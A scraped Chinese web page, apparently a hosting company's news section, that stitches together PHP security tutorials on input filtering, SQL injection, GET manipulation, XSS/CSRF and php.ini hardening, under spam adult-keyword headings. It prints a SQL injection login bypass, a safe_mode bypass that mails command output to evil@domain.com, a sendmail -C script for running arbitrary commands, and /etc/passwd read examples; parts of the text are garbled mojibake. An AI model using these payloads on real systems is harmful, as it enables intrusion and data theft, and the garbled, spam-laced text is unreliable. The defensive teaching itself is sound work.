1. <ul id="0c1fb"></ul>

      <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
      <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区

      RELATEED CONSULTING
      相關(guān)咨詢
      選擇下列產(chǎn)品馬上在線溝通
      服務(wù)時(shí)間:8:30-17:00
      你可能遇到了下面的問題
      關(guān)閉右側(cè)工具欄

      新聞中心

      這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
      php數(shù)據(jù)安全校驗(yàn),PHP驗(yàn)證

      php中,通過$_GET 和 $_POST 取得的數(shù)據(jù) 安不安全 需要什么過濾函數(shù)處理嗎

      當(dāng)然需要,$_GET取得的數(shù)據(jù)是來自URL后的參數(shù),這個(gè)是可以自己在地址欄里隨便寫的,而$_POST的數(shù)據(jù)來自表單提交,雖然在前端可以設(shè)置JS驗(yàn)證數(shù)據(jù)合法性,但是別有用心的人可以很容易地繞過這個(gè)JS驗(yàn)證腳本,所以,在后臺(tái)接收到這些數(shù)據(jù)后,首先要做的,就是用過濾或者驗(yàn)證函數(shù)進(jìn)行進(jìn)一步地處理

      彝良ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場(chǎng)景,ssl證書未來市場(chǎng)廣闊!成為創(chuàng)新互聯(lián)建站的ssl證書銷售渠道,可以享受市場(chǎng)價(jià)格4-6折優(yōu)惠!如果有意向歡迎電話聯(lián)系或者加微信:13518219792(備注:SSL證書合作)期待與您的合作!

      php有什么安全規(guī)則,有哪些?

      php安全篇值過濾用戶輸入的人參數(shù)

      規(guī)則 1:絕不要信任外部數(shù)據(jù)或輸入

      關(guān)于Web應(yīng)用程序安全性,必須認(rèn)識(shí)到的第一件事是不應(yīng)該信任外部數(shù)據(jù)。外部數(shù)據(jù)(outside data) 包括不是由程序員在PHP代碼中直接輸入的任何數(shù)據(jù)。在采取措施確保安全之前,來自任何其他來源(比如 GET 變量、表單 POST、數(shù)據(jù)庫、配置文件、會(huì)話變量或 cookie)的任何數(shù)據(jù)都是不可信任的。

      例如,下面的數(shù)據(jù)元素可以被認(rèn)為是安全的,因?yàn)樗鼈兪窃赑HP中設(shè)置的。

      復(fù)制代碼 代碼如下:

      ?php

      $myUsername = 'tmyer';

      $arrayUsers = array('tmyer', 'tom', 'tommy');define(”GREETING”, 'hello there' . $myUsername);?

      但是,下面的數(shù)據(jù)元素都是有瑕疵的。

      清單 2. 不安全、有瑕疵的代碼

      復(fù)制代碼 代碼如下:

      ?php

      $myUsername = $_POST['username']; //tainted!

      $arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!

      define(”GREETING”, 'hello there' . $myUsername); //tainted!

      ?

      為 什么第一個(gè)變量 $myUsername 是有瑕疵的?因?yàn)樗苯觼碜员韱?POST。用戶可以在這個(gè)輸入域中輸入任何字符串,包括用來清除文件或運(yùn)行以前上傳的文件的惡意命令。您可能會(huì)問,“難道不能使用只接受字母 A-Z 的客戶端(Javascrīpt)表單檢驗(yàn)?zāi)_本來避免這種危險(xiǎn)嗎?”是的,這總是一個(gè)有好處的步驟,但是正如在后面會(huì)看到的,任何人都可以將任何表單下載 到自己的機(jī)器上,修改它,然后重新提交他們需要的任何內(nèi)容。

      解決方案很簡(jiǎn)單:必須對(duì) $_POST['username'] 運(yùn)行清理代碼。如果不這么做,那么在使用 $myUsername 的任何其他時(shí)候(比如在數(shù)組或常量中),就可能污染這些對(duì)象。

      對(duì)用戶輸入進(jìn)行清理的一個(gè)簡(jiǎn)單方法是,使用正則表達(dá)式來處理它。在這個(gè)示例中,只希望接受字母。將字符串限制為特定數(shù)量的字符,或者要求所有字母都是小寫的,這可能也是個(gè)好主意。

      清單 3. 使用戶輸入變得安全

      復(fù)制代碼 代碼如下:

      ?php

      $myUsername = cleanInput($_POST['username']); //clean!

      $arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!

      define(”GREETING”, 'hello there' . $myUsername); //clean!

      function cleanInput($input){

      $clean = strtolower($input);

      $clean = preg_replace(”/[^a-z]/”, “”, $clean);$clean = substr($clean,0,12);

      return $clean;

      }

      ?

      規(guī)則 2:禁用那些使安全性難以實(shí)施的 PHP 設(shè)置已經(jīng)知道了不能信任用戶輸入,還應(yīng)該知道不應(yīng)該信任機(jī)器上配置 PHP 的方式。例如,要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字符串。通過禁用這個(gè)設(shè)置,PHP 強(qiáng)迫您在正確的名稱空間中引用正確的變量。要使用來自表單 POST 的變量,應(yīng)該引用 $_POST['variable']。這樣就不會(huì)將這個(gè)特定變量誤會(huì)成 cookie、會(huì)話或 GET 變量。

      規(guī)則 3:如果不能理解它,就不能保護(hù)它

      一些開發(fā)人員使用奇怪的語法,或者將語句組織得很緊湊,形成簡(jiǎn)短但是含義模糊的代碼。這種方式可能效率高,但是如果您不理解代碼正在做什么,那么就無法決定如何保護(hù)它。

      例如,您喜歡下面兩段代碼中的哪一段?

      清單 4. 使代碼容易得到保護(hù)

      復(fù)制代碼 代碼如下:

      ?php

      //obfuscated code

      $input = (isset($_POST['username']) ? $_POST['username']:”);//unobfuscated code

      $input = ”;

      if (isset($_POST['username'])){

      $input = $_POST['username'];

      }else{

      $input = ”;

      }

      ?

      在第二個(gè)比較清晰的代碼段中,很容易看出 $input 是有瑕疵的,需要進(jìn)行清理,然后才能安全地處理。

      規(guī)則 4:“縱深防御” 是新的法寶

      本教程將用示例來說明如何保護(hù)在線表單,同時(shí)在處理表單的 PHP 代碼中采用必要的措施。同樣,即使使用 PHP regex 來確保 GET 變量完全是數(shù)字的,仍然可以采取措施確保 SQL 查詢使用轉(zhuǎn)義的用戶輸入。

      縱深防御不只是一種好思想,它可以確保您不會(huì)陷入嚴(yán)重的麻煩。

      既然已經(jīng)討論了基本規(guī)則,現(xiàn)在就來研究第一種威脅:SQL 注入攻擊。

      防止 SQL 注入攻擊

      在 SQL 注入攻擊 中,用戶通過操縱表單或 GET 查詢字符串,將信息添加到數(shù)據(jù)庫查詢中。例如,假設(shè)有一個(gè)簡(jiǎn)單的登錄數(shù)據(jù)庫。這個(gè)數(shù)據(jù)庫中的每個(gè)記錄都有一個(gè)用戶名字段和一個(gè)密碼字段。構(gòu)建一個(gè)登錄表單,讓用戶能夠登錄。

      清單 5. 簡(jiǎn)單的登錄表單

      復(fù)制代碼 代碼如下:

      html

      head

      titleLogin/title

      /head

      body

      form action=”verify.php” method=”post”

      plabel for='user'Username/label

      input type='text' name='user' id='user'/

      /p

      plabel for='pw'Password/label

      input type='password' name='pw' id='pw'/

      /p

      pinput type='submit' value='login'//p

      /form

      /body

      /html

      這個(gè)表單接受用戶輸入的用戶名和密碼,并將用戶輸入提交給名為 verify.php 的文件。在這個(gè)文件中,PHP 處理來自登錄表單的數(shù)據(jù),如下所示:

      清單 6. 不安全的 PHP 表單處理代碼

      復(fù)制代碼 代碼如下:

      ?php

      $okay = 0;

      $username = $_POST['user'];

      $pw = $_POST['pw'];

      $sql = “select count(*) as ctr from users where username='”.$username.”' and password='”. $pw.”' limit 1″;$result = mysql_query($sql);

      while ($data = mysql_fetch_object($result)){if ($data-ctr == 1){

      //they're okay to enter the application!

      $okay = 1;

      }

      }

      if ($okay){

      $_SESSION['loginokay'] = true;

      header(”index.php”);

      }else{

      header(”login.php”);

      }

      ?

      這 段代碼看起來沒問題,對(duì)嗎?世界各地成百(甚至成千)的 PHP/MySQL 站點(diǎn)都在使用這樣的代碼。它錯(cuò)在哪里?好,記住 “不能信任用戶輸入”。這里沒有對(duì)來自用戶的任何信息進(jìn)行轉(zhuǎn)義,因此使應(yīng)用程序容易受到攻擊。具體來說,可能會(huì)出現(xiàn)任何類型的 SQL 注入攻擊。

      例如,如果用戶輸入 foo 作為用戶名,輸入 ' or '1′='1 作為密碼,那么實(shí)際上會(huì)將以下字符串傳遞給 PHP,然后將查詢傳遞給 MySQL:

      復(fù)制代碼 代碼如下:

      ?php

      $sql = “select count(*) as ctr from users where username='foo' and password=” or '1′='1′ limit 1″;?

      這個(gè)查詢總是返回計(jì)數(shù)值 1,因此 PHP 會(huì)允許進(jìn)行訪問。通過在密碼字符串的末尾注入某些惡意 SQL,黑客就能裝扮成合法的用戶。

      解 決這個(gè)問題的辦法是,將 PHP 的內(nèi)置 mysql_real_escape_string() 函數(shù)用作任何用戶輸入的包裝器。這個(gè)函數(shù)對(duì)字符串中的字符進(jìn)行轉(zhuǎn)義,使字符串不可能傳遞撇號(hào)等特殊字符并讓 MySQL 根據(jù)特殊字符進(jìn)行操作。清單 7 展示了帶轉(zhuǎn)義處理的代碼。

      清單 7. 安全的 PHP 表單處理代碼

      復(fù)制代碼 代碼如下:

      ?php

      $okay = 0;

      $username = $_POST['user'];

      $pw = $_POST['pw'];

      $sql = “select count(*) as ctr from users where username='”.mysql_real_escape_string($username).”' and password='”. mysql_real_escape_string($pw).”' limit 1″;$result = mysql_query($sql);

      while ($data = mysql_fetch_object($result)){if ($data-ctr == 1){

      //they're okay to enter the application!

      $okay = 1;

      }

      }

      if ($okay){

      $_SESSION['loginokay'] = true;

      header(”index.php”);

      }else{

      header(”login.php”);

      }

      ?

      使用 mysql_real_escape_string() 作為用戶輸入的包裝器,就可以避免用戶輸入中的任何惡意 SQL 注入。如果用戶嘗試通過 SQL 注入傳遞畸形的密碼,那么會(huì)將以下查詢傳遞給數(shù)據(jù)庫:

      select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″數(shù)據(jù)庫中沒有任何東西與這樣的密碼匹配。僅僅采用一個(gè)簡(jiǎn)單的步驟,就堵住了 Web 應(yīng)用程序中的一個(gè)大漏洞。這里得出的經(jīng)驗(yàn)是,總是應(yīng)該對(duì) SQL 查詢的用戶輸入進(jìn)行轉(zhuǎn)義。

      但是,還有幾個(gè)安全漏洞需要堵住。下一項(xiàng)是操縱 GET 變量。

      防止用戶操縱 GET 變量

      在前一節(jié)中,防止了用戶使用畸形的密碼進(jìn)行登錄。如果您很聰明,應(yīng)該應(yīng)用您學(xué)到的方法,確保對(duì) SQL 語句的所有用戶輸入進(jìn)行轉(zhuǎn)義。

      但 是,用戶現(xiàn)在已經(jīng)安全地登錄了。用戶擁有有效的密碼,并不意味著他將按照規(guī)則行事 —— 他有很多機(jī)會(huì)能夠造成損害。例如,應(yīng)用程序可能允許用戶查看特殊的內(nèi)容。所有鏈接指向 template.php?pid=33 或 template.php?pid=321 這樣的位置。URL 中問號(hào)后面的部分稱為查詢字符串。因?yàn)椴樵冏址苯臃旁?URL 中,所以也稱為 GET 查詢字符串。

      在 PHP 中,如果禁用了 register_globals,那么可以用 $_GET['pid'] 訪問這個(gè)字符串。在 template.php 頁面中,可能會(huì)執(zhí)行與清單 8 相似的操作。

      清單 8. 示例 template.php

      復(fù)制代碼 代碼如下:

      ?php

      $pid = $_GET['pid'];

      //we create an object of a fictional class Page$obj = new Page;

      $content = $obj-fetchPage($pid);

      //and now we have a bunch of PHP that displays the page?

      這 里有什么錯(cuò)嗎?首先,這里隱含地相信來自瀏覽器的 GET 變量 pid 是安全的。這會(huì)怎么樣呢?大多數(shù)用戶沒那么聰明,無法構(gòu)造出語義攻擊。但是,如果他們注意到瀏覽器的 URL 位置域中的 pid=33,就可能開始搗亂。如果他們輸入另一個(gè)數(shù)字,那么可能沒問題;但是如果輸入別的東西,比如輸入 SQL 命令或某個(gè)文件的名稱(比如 /etc/passwd),或者搞別的惡作劇,比如輸入長(zhǎng)達(dá) 3,000 個(gè)字符的數(shù)值,那么會(huì)發(fā)生什么呢?

      在這種情況下,要記住基本規(guī)則,不要信任用戶輸入。應(yīng)用程序開發(fā)人員知道 template.php 接受的個(gè)人標(biāo)識(shí)符(PID)應(yīng)該是數(shù)字,所以可以使用 PHP 的 is_numeric()函數(shù)確保不接受非數(shù)字的 PID,如下所示:

      清單 9. 使用 is_numeric() 來限制 GET 變量復(fù)制代碼 代碼如下:

      ?php

      $pid = $_GET['pid'];

      if (is_numeric($pid)){

      //we create an object of a fictional class Page$obj = new Page;

      $content = $obj-fetchPage($pid);

      //and now we have a bunch of PHP that displays the page}else{

      //didn't pass the is_numeric() test, do something else!

      }

      ?

      這個(gè)方法似乎是有效的,但是以下這些輸入都能夠輕松地通過 is_numeric() 的檢查:

      100 (有效)

      100.1 (不應(yīng)該有小數(shù)位)

      +0123.45e6 (科學(xué)計(jì)數(shù)法 —— 不好)

      0xff33669f (十六進(jìn)制 —— 危險(xiǎn)!危險(xiǎn)!)那么,有安全意識(shí)的 PHP 開發(fā)人員應(yīng)該怎么做呢?多年的經(jīng)驗(yàn)表明,最好的做法是使用正則表達(dá)式來確保整個(gè) GET 變量由數(shù)字組成,如下所示:

      清單 10. 使用正則表達(dá)式限制 GET 變量

      復(fù)制代碼 代碼如下:

      ?php

      $pid = $_GET['pid'];

      if (strlen($pid)){

      if (!ereg(”^[0-9]+$”,$pid)){

      //do something appropriate, like maybe logging them out or sending them back to home page}

      }else{

      //empty $pid, so send them back to the home page}

      //we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;

      $content = $obj-fetchPage($pid);

      //and now we have a bunch of PHP that displays the page?

      需 要做的只是使用 strlen() 檢查變量的長(zhǎng)度是否非零;如果是,就使用一個(gè)全數(shù)字正則表達(dá)式來確保數(shù)據(jù)元素是有效的。如果 PID 包含字母、斜線、點(diǎn)號(hào)或任何與十六進(jìn)制相似的內(nèi)容,那么這個(gè)例程捕獲它并將頁面從用戶活動(dòng)中屏蔽。如果看一下 Page 類幕后的情況,就會(huì)看到有安全意識(shí)的 PHP 開發(fā)人員已經(jīng)對(duì)用戶輸入 $pid 進(jìn)行了轉(zhuǎn)義,從而保護(hù)了 fetchPage() 方法,如下所示:

      清單 11. 對(duì) fetchPage() 方法進(jìn)行轉(zhuǎn)義

      復(fù)制代碼 代碼如下:

      ?php

      class Page{

      function fetchPage($pid){

      $sql = “select pid,title,desc,kw,content,status from page where pid='”.mysql_real_escape_string($pid).”'”;}

      }

      ?

      您可能會(huì)問,“既然已經(jīng)確保 PID 是數(shù)字,那么為什么還要進(jìn)行轉(zhuǎn)義?” 因?yàn)椴恢涝诙嗌俨煌纳舷挛暮颓闆r中會(huì)使用 fetchPage() 方法。必須在調(diào)用這個(gè)方法的所有地方進(jìn)行保護(hù),而方法中的轉(zhuǎn)義體現(xiàn)了縱深防御的意義。

      如 果用戶嘗試輸入非常長(zhǎng)的數(shù)值,比如長(zhǎng)達(dá) 1000 個(gè)字符,試圖發(fā)起緩沖區(qū)溢出攻擊,那么會(huì)發(fā)生什么呢?下一節(jié)更詳細(xì)地討論這個(gè)問題,但是目前可以添加另一個(gè)檢查,確保輸入的 PID 具有正確的長(zhǎng)度。您知道數(shù)據(jù)庫的 pid 字段的最大長(zhǎng)度是 5 位,所以可以添加下面的檢查。

      清單 12. 使用正則表達(dá)式和長(zhǎng)度檢查來限制 GET 變量復(fù)制代碼 代碼如下:

      ?php

      $pid = $_GET['pid'];

      if (strlen($pid)){

      if (!ereg(”^[0-9]+$”,$pid) strlen($pid) 5){//do something appropriate, like maybe logging them out or sending them back to home page}

      } else {

      //empty $pid, so send them back to the home page}

      //we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;

      $content = $obj-fetchPage($pid);

      //and now we have a bunch of PHP that displays the page?

      現(xiàn)在,任何人都無法在數(shù)據(jù)庫應(yīng)用程序中塞進(jìn)一個(gè) 5,000 位的數(shù)值 —— 至少在涉及 GET 字符串的地方不會(huì)有這種情況。想像一下黑客在試圖突破您的應(yīng)用程序而遭到挫折時(shí)咬牙切齒的樣子吧!而且因?yàn)殛P(guān)閉了錯(cuò)誤報(bào)告,黑客更難進(jìn)行偵察。

      緩沖區(qū)溢出攻擊

      緩沖區(qū)溢出攻擊 試圖使 PHP 應(yīng)用程序中(或者更精確地說,在 Apache 或底層操作系統(tǒng)中)的內(nèi)存分配緩沖區(qū)發(fā)生溢出。請(qǐng)記住,您可能是使用 PHP 這樣的高級(jí)語言來編寫 Web 應(yīng)用程序,但是最終還是要調(diào)用 C(在 Apache 的情況下)。與大多數(shù)低級(jí)語言一樣,C 對(duì)于內(nèi)存分配有嚴(yán)格的規(guī)則。

      緩沖區(qū)溢出攻擊向緩沖區(qū)發(fā)送大量數(shù)據(jù),使部分?jǐn)?shù)據(jù)溢出到相鄰的內(nèi)存緩沖區(qū),從而破壞緩沖區(qū)或者重寫邏輯。這樣就能夠造成拒絕服務(wù)、破壞數(shù)據(jù)或者在遠(yuǎn)程服務(wù)器上執(zhí)行惡意代碼。

      防止緩沖區(qū)溢出攻擊的惟一方法是檢查所有用戶輸入的長(zhǎng)度。例如,如果有一個(gè)表單元素要求輸入用戶的名字,那么在這個(gè)域上添加值為 40 的 maxlength 屬性,并在后端使用 substr() 進(jìn)行檢查。清單 13 給出表單和 PHP 代碼的簡(jiǎn)短示例。

      php怎么保證兩個(gè)網(wǎng)站之間傳輸數(shù)據(jù)安全

      使用數(shù)據(jù)加密,或者使用https協(xié)議來傳輸數(shù)據(jù)。

      數(shù)據(jù)加密建議使用自己的加密方式,加密的key是關(guān)鍵,這個(gè)一定不能泄露,兩個(gè)網(wǎng)站的服務(wù)器都需要有這個(gè)key,發(fā)送數(shù)據(jù)時(shí)發(fā)送方加密數(shù)據(jù),將密文傳輸給接收方,接收方同樣用key解密即可。只要key不泄露,就算數(shù)據(jù)被人攔截,也是加密過的密文,通常沒有Key是解不開的。

      https協(xié)議可以自動(dòng)為傳輸數(shù)據(jù)加密,不過就要求https協(xié)議證書了,這個(gè)數(shù)字證書是需要申請(qǐng)的。

      如何實(shí)現(xiàn)php的安全最大化?怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞

      使用php安全模式

      服務(wù)器要做好管理,賬號(hào)權(quán)限是否合理。

      假定所有用戶的輸入都是“惡意”的,防止XSS攻擊,譬如:對(duì)用戶的輸入輸出做好必要的過濾

      防止CSRF,表單設(shè)置隱藏域,post一個(gè)隨機(jī)字符串到后臺(tái),可以有效防止跨站請(qǐng)求偽造。

      文件上傳,檢查是否做好效驗(yàn),要注意上傳文件存儲(chǔ)目錄權(quán)限。

      防御SQL注入。?

      避免SQL注入漏洞

      1.使用預(yù)編譯語句

      2.使用安全的存儲(chǔ)過程

      3.檢查輸入數(shù)據(jù)的數(shù)據(jù)類型

      4.從數(shù)據(jù)庫自身的角度考慮,應(yīng)該使用最小權(quán)限原則,不可使用root或dbowner的身份連接數(shù)據(jù)庫。若多個(gè)應(yīng)用使用同一個(gè)數(shù)據(jù)庫,也應(yīng)該為數(shù)據(jù)庫分配不同的賬戶。web應(yīng)用使用的數(shù)據(jù)庫賬戶,不應(yīng)該有創(chuàng)建自定義函數(shù),操作本地文件的權(quán)限。

      避免XSS跨站腳本攻擊

      1.假定所有用戶輸入都是“邪惡”的

      2.考慮周全的正則表達(dá)式

      3.為cookie設(shè)置HttpOnly,防止cookie劫持

      4.外部js不一定可靠

      5.出去不必要的HTML注釋

      6. 針對(duì)非法的HTML代碼包括單雙引號(hào)等,使用htmlspecialchars()函數(shù)。

      php安全配置 如何配置使其更安全

      一、Web服務(wù)器安全

      PHP其實(shí)不過是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問題,因?yàn)閜hp.ini里的:

      [mail function]

      ; For Win32 only.

      SMTP = localhost

      ; For Win32 only.

      sendmail_from = me@localhost.com

      都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。

      二、PHP本身問題

      1、遠(yuǎn)程溢出

      PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:

      2、遠(yuǎn)程拒絕服務(wù)

      PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。

      3、safe_mode繞過漏洞

      還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡(jiǎn)單,只需用分號(hào)隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:

      ? mail("foo@bar,"foo","bar","",$bar); ?

      執(zhí)行如下的URL:

      ;/usr/bin/id|mail evil@domain.com

      這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。

      對(duì)于4.0.6至4.2.2的PHP突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:

      ?

      # 注意,下面這兩個(gè)必須是不存在的,或者它們的屬主和本腳本的屬主是一樣

      $script="/tmp/script123";

      $cf="/tmp/cf123";

      $fd = fopen($cf, "w");

      fwrite($fd, "OQ/tmp

      Sparse=0

      R$*" . chr(9) . "$#local $@ $1 $: $1

      Mlocal, P=/bin/sh, A=sh $script");

      fclose($fd);

      $fd = fopen($script, "w");

      fwrite($fd, "rm -f $script $cf; ");

      fwrite($fd, $cmd);

      fclose($fd);

      mail("nobody", "", "", "", "-C$cf");

      ?

      還是使用以上有問題版本PHP的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問題。

      三、PHP本身的安全配置

      PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項(xiàng)的各個(gè)值。

      如果配置選項(xiàng)是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項(xiàng)是對(duì)Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項(xiàng)是對(duì)該定義的目錄下所有腳本生效。

      如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項(xiàng)就可以使用.htaccess文件設(shè)置,也可以通過在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對(duì)當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對(duì)該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個(gè)版本的選項(xiàng)屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項(xiàng),以及它的屬性:

      # grep PHP_INI_ /PHP_SRC/main/main.c

      在討論P(yáng)HP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。

      1、safe_mode

      safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini:

      safe_mode = On

      或者修改httpd.conf,定義目錄:

      Directory /var/www

      Options FollowSymLinks

      php_admin_value safe_mode 1

      /Directory

      重啟apache后safe_mode就生效了。啟動(dòng)safe_mode,會(huì)對(duì)許多PHP函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。

      所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為:

      ?include("index.html")?

      幾個(gè)文件的屬性如下:

      # ls -la

      total 13

      drwxr-xr-x 2 root root 104 Jul 20 01:25 .

      drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

      -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

      -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

      在瀏覽器請(qǐng)求test.php會(huì)提示如下的錯(cuò)誤信息:

      Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

      如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個(gè)漏洞還是另有隱情。所以php腳本屬主這個(gè)用戶最好就只作這個(gè)用途,絕對(duì)禁止使用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。

      如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項(xiàng):

      safe_mode_gid = On

      設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會(huì)被禁止。如果確實(shí)需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:

      safe_mode_exec_dir = /usr/local/php/exec

      然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。

      safe_mode_include_dir string

      當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時(shí)越過 UID/GID 檢查。

      從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號(hào)隔開的路徑,而不只是一個(gè)目錄。

      指定的限制實(shí)際上是一個(gè)前綴,而非一個(gè)目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個(gè)指定的目錄,那么請(qǐng)?jiān)诮Y(jié)尾加上一個(gè)斜線,例如:“safe_mode_include_dir = /dir/incl/”。

      safe_mode_allowed_env_vars string

      設(shè)置某些環(huán)境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?锨榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環(huán)境變量(例如 PHP_FOO = BAR)。

      注: 如果本指令為空,PHP 將使用戶可以修改任何環(huán)境變量!

      safe_mode_protected_env_vars string

      本指令包含有一個(gè)逗號(hào)分隔的環(huán)境變量的列表,最終用戶不能用 putenv() 來改變這些環(huán)境變量。甚至在 safe_mode_allowed_env_vars 中設(shè)置了允許修改時(shí)也不能改變這些變量。

      雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強(qiáng)烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會(huì)有很多限制,可能對(duì)應(yīng)用帶來影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊(cè)。

      討論完safe_mode后,下面結(jié)合程序代碼實(shí)際可能出現(xiàn)的問題討論如何通過對(duì)PHP服務(wù)器端的配置來避免出現(xiàn)的漏洞。

      2、變量濫用

      PHP默認(rèn)register_globals = On,對(duì)于GET, POST, Cookie, Environment, Session的變罧梢災(zāi)苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒有對(duì)變量初始化的習(xí)慣,像如下的程序片斷就極易受到攻擊:

      ?

      //test_1.php

      if ($pass == "hello")

      $auth = 1;

      if ($auth == 1)

      echo "some important information";

      else

      echo "nothing";

      ?

      攻擊者只需用如下的請(qǐng)求就能繞過檢查:

      這雖然是一個(gè)很弱智的錯(cuò)誤,但一些著名的程序也有犯過這種錯(cuò)誤,比如phpnuke的遠(yuǎn)程文件拷貝漏洞

      PHP-4.1.0發(fā)布的時(shí)候建議關(guān)閉register_globals,并提供了7個(gè)特殊的數(shù)組變量來使用各種變量。對(duì)于從GET、POST、COOKIE等來的變量并不會(huì)直接注冊(cè)成變量,必需通過數(shù)組變量來存取。PHP-4.2.0發(fā)布的時(shí)候,php.ini默認(rèn)配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認(rèn)值,一般為0,避免了攻擊者控制判斷變量。

      解決方法:

      配置文件php.ini設(shè)置register_globals = Off。

      要求程序員對(duì)作為判斷的變量在程序最開始初始化一個(gè)值。

      3、文件打開

      極易受攻擊的代碼片斷:

      ?

      //test_2.php

      if (!($str = readfile("$filename"))) {

      echo("Could not open file: $filenameBR\n");

      exit;

      }

      else {

      echo $str;

      }

      ?

      由于攻擊者可以指定任意的$filename,攻擊者用如下的請(qǐng)求就可以看到/etc/passwd:

      如下請(qǐng)求可以讀php文件本身:

      PHP中文件打開函數(shù)還有fopen(), file()等,如果對(duì)文件名變量檢查不嚴(yán)就會(huì)造成服務(wù)器重要文件被訪問讀取。

      解決方法:

      如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個(gè)例子:

      Directory /usr/local/apache/htdocs

